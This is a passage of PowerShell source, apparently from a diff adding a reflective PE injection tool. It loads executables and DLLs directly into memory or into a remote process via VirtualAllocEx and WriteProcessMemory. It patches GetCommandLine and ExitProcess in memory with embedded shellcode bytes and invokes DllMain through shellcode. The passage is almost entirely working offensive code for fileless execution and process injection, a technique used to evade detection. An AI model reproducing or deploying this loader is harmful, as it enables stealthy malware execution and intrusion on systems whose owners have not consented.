([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + } + + $ImportDescriptorPtr = Add-SignedIntAsUnsigned ($ImportDescriptorPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR)) + } + } + } + + Function Get-VirtualProtectValue + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [UInt32] + $SectionCharacteristics + ) + + $ProtectionFlag = 0x0 + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_EXECUTE) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_READ + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_EXECUTE + } + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_READ) -gt 0) + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_READWRITE + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_READONLY + } + } + else + { + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_WRITE) -gt 0) + { + $ProtectionFlag = $Win32Constants.PAGE_WRITECOPY + } + else + { + $ProtectionFlag = $Win32Constants.PAGE_NOACCESS + } + } + } + + if (($SectionCharacteristics -band $Win32Constants.IMAGE_SCN_MEM_NOT_CACHED) -gt 0) + { + $ProtectionFlag = $ProtectionFlag -bor $Win32Constants.PAGE_NOCACHE + } + + return $ProtectionFlag + } + + Function Update-MemoryProtectionFlags + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + [IntPtr]$SectionPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($SectionHeader.VirtualAddress) + + [UInt32]$ProtectFlag = Get-VirtualProtectValue $SectionHeader.Characteristics + [UInt32]$SectionSize = $SectionHeader.VirtualSize + + [UInt32]$OldProtectFlag = 0 + Test-MemoryRangeValid -DebugString "Update-MemoryProtectionFlags::VirtualProtect" -PEInfo $PEInfo -StartAddress $SectionPtr -Size $SectionSize | Out-Null + $Success = $Win32Functions.VirtualProtect.Invoke($SectionPtr, $SectionSize, $ProtectFlag, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Unable to change memory protection" + } + } + } + + #This function overwrites GetCommandLine and ExitThread which are needed to reflectively load an EXE + #Returns an object with addresses to copies of the bytes that were overwritten (and the count) + Function Update-ExeFunctions + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [String] + $ExeArguments, + + [Parameter(Position = 4, Mandatory = $true)] + [IntPtr] + $ExeDoneBytePtr + ) + + #This will be an array of arrays. The inner array will consist of: @($DestAddr, $SourceAddr, $ByteCount). This is used to return memory to its original state. + $ReturnArray = @() + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + [UInt32]$OldProtectFlag = 0 + + [IntPtr]$Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("Kernel32.dll") + if ($Kernel32Handle -eq [IntPtr]::Zero) + { + throw "Kernel32 handle null" + } + + [IntPtr]$KernelBaseHandle = $Win32Functions.GetModuleHandle.Invoke("KernelBase.dll") + if ($KernelBaseHandle -eq [IntPtr]::Zero) + { + throw "KernelBase handle null" + } + + ################################################# + #First overwrite the GetCommandLine() function. This is the function that is called by a new process to get the command line args used to start it. + # We overwrite it with shellcode to return a pointer to the string ExeArguments, allowing us to pass the exe any args we want. + $CmdLineWArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + $CmdLineAArgsPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + + [IntPtr]$GetCommandLineAAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineA") + [IntPtr]$GetCommandLineWAddr = $Win32Functions.GetProcAddress.Invoke($KernelBaseHandle, "GetCommandLineW") + + if ($GetCommandLineAAddr -eq [IntPtr]::Zero -or $GetCommandLineWAddr -eq [IntPtr]::Zero) + { + throw "GetCommandLine ptr null. GetCommandLineA: $GetCommandLineAAddr. GetCommandLineW: $GetCommandLineWAddr" + } + + #Prepare the shellcode + [Byte[]]$Shellcode1 = @() + if ($PtrSize -eq 8) + { + $Shellcode1 += 0x48 #64bit shellcode has the 0x48 before the 0xb8 + } + $Shellcode1 += 0xb8 + + [Byte[]]$Shellcode2 = @(0xc3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + + + #Make copy of GetCommandLineA and GetCommandLineW + $GetCommandLineAOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $GetCommandLineWOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($GetCommandLineAOrigBytesPtr, $GetCommandLineAAddr, [UInt64]$TotalSize) | Out-Null + $Win32Functions.memcpy.Invoke($GetCommandLineWOrigBytesPtr, $GetCommandLineWAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($GetCommandLineAAddr, $GetCommandLineAOrigBytesPtr, $TotalSize) + $ReturnArray += ,($GetCommandLineWAddr, $GetCommandLineWOrigBytesPtr, $TotalSize) + + #Overwrite GetCommandLineA + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineAAddrTemp = $GetCommandLineAAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineAAddrTemp + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineAArgsPtr, $GetCommandLineAAddrTemp, $false) + $GetCommandLineAAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineAAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineAAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineAAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + + + #Overwrite GetCommandLineW + [UInt32]$OldProtectFlag = 0 + $Success = $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + + $GetCommandLineWAddrTemp = $GetCommandLineWAddr + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $GetCommandLineWAddrTemp + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CmdLineWArgsPtr, $GetCommandLineWAddrTemp, $false) + $GetCommandLineWAddrTemp = Add-SignedIntAsUnsigned $GetCommandLineWAddrTemp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $GetCommandLineWAddrTemp + + $Win32Functions.VirtualProtect.Invoke($GetCommandLineWAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + ################################################# + + + ################################################# + #For C++ stuff that is compiled with visual studio as "multithreaded DLL", the above method of overwriting GetCommandLine doesn't work. + # I don't know why exactly.. But the msvcr DLL that a "DLL compiled executable" imports has an export called _acmdln and _wcmdln. + # It appears to call GetCommandLine and store the result in this var. Then when you call __wgetcmdln it parses and returns the + # argv and argc values stored in these variables. So the easy thing to do is just overwrite the variable since they are exported. + $DllList = @("msvcr70d.dll", "msvcr71d.dll", "msvcr80d.dll", "msvcr90d.dll", "msvcr100d.dll", "msvcr110d.dll", "msvcr70.dll" ` + , "msvcr71.dll", "msvcr80.dll", "msvcr90.dll", "msvcr100.dll", "msvcr110.dll") + + foreach ($Dll in $DllList) + { + [IntPtr]$DllHandle = $Win32Functions.GetModuleHandle.Invoke($Dll) + if ($DllHandle -ne [IntPtr]::Zero) + { + [IntPtr]$WCmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_wcmdln") + [IntPtr]$ACmdLnAddr = $Win32Functions.GetProcAddress.Invoke($DllHandle, "_acmdln") + if ($WCmdLnAddr -eq [IntPtr]::Zero -or $ACmdLnAddr -eq [IntPtr]::Zero) + { + "Error, couldn't find _wcmdln or _acmdln" + } + + $NewACmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($ExeArguments) + $NewWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalUni($ExeArguments) + + #Make a copy of the original char* and wchar_t* so these variables can be returned back to their original state + $OrigACmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ACmdLnAddr, [Type][IntPtr]) + $OrigWCmdLnPtr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($WCmdLnAddr, [Type][IntPtr]) + $OrigACmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $OrigWCmdLnPtrStorage = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigACmdLnPtr, $OrigACmdLnPtrStorage, $false) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($OrigWCmdLnPtr, $OrigWCmdLnPtrStorage, $false) + $ReturnArray += ,($ACmdLnAddr, $OrigACmdLnPtrStorage, $PtrSize) + $ReturnArray += ,($WCmdLnAddr, $OrigWCmdLnPtrStorage, $PtrSize) + + $Success = $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewACmdLnPtr, $ACmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($ACmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + + $Success = $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($Win32Constants.PAGE_EXECUTE_READWRITE), [Ref]$OldProtectFlag) + if ($Success = $false) + { + throw "Call to VirtualProtect failed" + } + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewWCmdLnPtr, $WCmdLnAddr, $false) + $Win32Functions.VirtualProtect.Invoke($WCmdLnAddr, [UInt32]$PtrSize, [UInt32]($OldProtectFlag), [Ref]$OldProtectFlag) | Out-Null + } + } + ################################################# + + + ################################################# + #Next overwrite CorExitProcess and ExitProcess to instead ExitThread. This way the entire Powershell process doesn't die when the EXE exits. + + $ReturnArray = @() + $ExitFunctions = @() #Array of functions to overwrite so the thread doesn't exit the process + + #CorExitProcess (compiled in to visual studio c++) + [IntPtr]$MscoreeHandle = $Win32Functions.GetModuleHandle.Invoke("mscoree.dll") + if ($MscoreeHandle -eq [IntPtr]::Zero) + { + throw "mscoree handle null" + } + [IntPtr]$CorExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($MscoreeHandle, "CorExitProcess") + if ($CorExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "CorExitProcess address not found" + } + $ExitFunctions += $CorExitProcessAddr + + #ExitProcess (what non-managed programs use) + [IntPtr]$ExitProcessAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitProcess") + if ($ExitProcessAddr -eq [IntPtr]::Zero) + { + Throw "ExitProcess address not found" + } + $ExitFunctions += $ExitProcessAddr + + [UInt32]$OldProtectFlag = 0 + foreach ($ProcExitFunctionAddr in $ExitFunctions) + { + $ProcExitFunctionAddrTmp = $ProcExitFunctionAddr + #The following is the shellcode (Shellcode: ExitThread.asm): + #32bit shellcode + [Byte[]]$Shellcode1 = @(0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x83, 0xec, 0x20, 0x83, 0xe4, 0xc0, 0xbb) + #64bit shellcode (Shellcode: ExitThread.asm) + if ($PtrSize -eq 8) + { + [Byte[]]$Shellcode1 = @(0x48, 0xbb) + [Byte[]]$Shellcode2 = @(0xc6, 0x03, 0x01, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xbb) + } + [Byte[]]$Shellcode3 = @(0xff, 0xd3) + $TotalSize = $Shellcode1.Length + $PtrSize + $Shellcode2.Length + $PtrSize + $Shellcode3.Length + + [IntPtr]$ExitThreadAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "ExitThread") + if ($ExitThreadAddr -eq [IntPtr]::Zero) + { + Throw "ExitThread address not found" + } + + $Success = $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + #Make copy of original ExitProcess bytes + $ExitProcessOrigBytesPtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($TotalSize) + $Win32Functions.memcpy.Invoke($ExitProcessOrigBytesPtr, $ProcExitFunctionAddr, [UInt64]$TotalSize) | Out-Null + $ReturnArray += ,($ProcExitFunctionAddr, $ExitProcessOrigBytesPtr, $TotalSize) + + #Write the ExitThread shellcode to memory. This shellcode will write 0x01 to ExeDoneBytePtr address (so PS knows the EXE is done), then + # call ExitThread + Write-BytesToMemory -Bytes $Shellcode1 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExeDoneBytePtr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode2 -MemoryAddress $ProcExitFunctionAddrTmp + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp ($Shellcode2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($ExitThreadAddr, $ProcExitFunctionAddrTmp, $false) + $ProcExitFunctionAddrTmp = Add-SignedIntAsUnsigned $ProcExitFunctionAddrTmp $PtrSize + Write-BytesToMemory -Bytes $Shellcode3 -MemoryAddress $ProcExitFunctionAddrTmp + + $Win32Functions.VirtualProtect.Invoke($ProcExitFunctionAddr, [UInt32]$TotalSize, [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + ################################################# + + Write-Output $ReturnArray + } + + + #This function takes an array of arrays, the inner array of format @($DestAddr, $SourceAddr, $Count) + # It copies Count bytes from Source to Destination. + Function Copy-ArrayOfMemAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Array[]] + $CopyInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + [UInt32]$OldProtectFlag = 0 + foreach ($Info in $CopyInfo) + { + $Success = $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$Win32Constants.PAGE_EXECUTE_READWRITE, [Ref]$OldProtectFlag) + if ($Success -eq $false) + { + Throw "Call to VirtualProtect failed" + } + + $Win32Functions.memcpy.Invoke($Info[0], $Info[1], [UInt64]$Info[2]) | Out-Null + + $Win32Functions.VirtualProtect.Invoke($Info[0], [UInt32]$Info[2], [UInt32]$OldProtectFlag, [Ref]$OldProtectFlag) | Out-Null + } + } + + + ##################################### + ########## FUNCTIONS ########### + ##################################### + Function Get-MemoryProcAddress + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [String] + $FunctionName + ) + + $Win32Types = Get-Win32Types + $Win32Constants = Get-Win32Constants + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Get the export table + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.Size -eq 0) + { + return [IntPtr]::Zero + } + $ExportTablePtr = Add-SignedIntAsUnsigned ($PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ExportTable.VirtualAddress) + $ExportTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ExportTablePtr, [Type]$Win32Types.IMAGE_EXPORT_DIRECTORY) + + for ($i = 0; $i -lt $ExportTable.NumberOfNames; $i++) + { + #AddressOfNames is an array of pointers to strings of the names of the functions exported + $NameOffsetPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNames + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $NamePtr = Add-SignedIntAsUnsigned ($PEHandle) ([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } + + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } + + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } + + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) 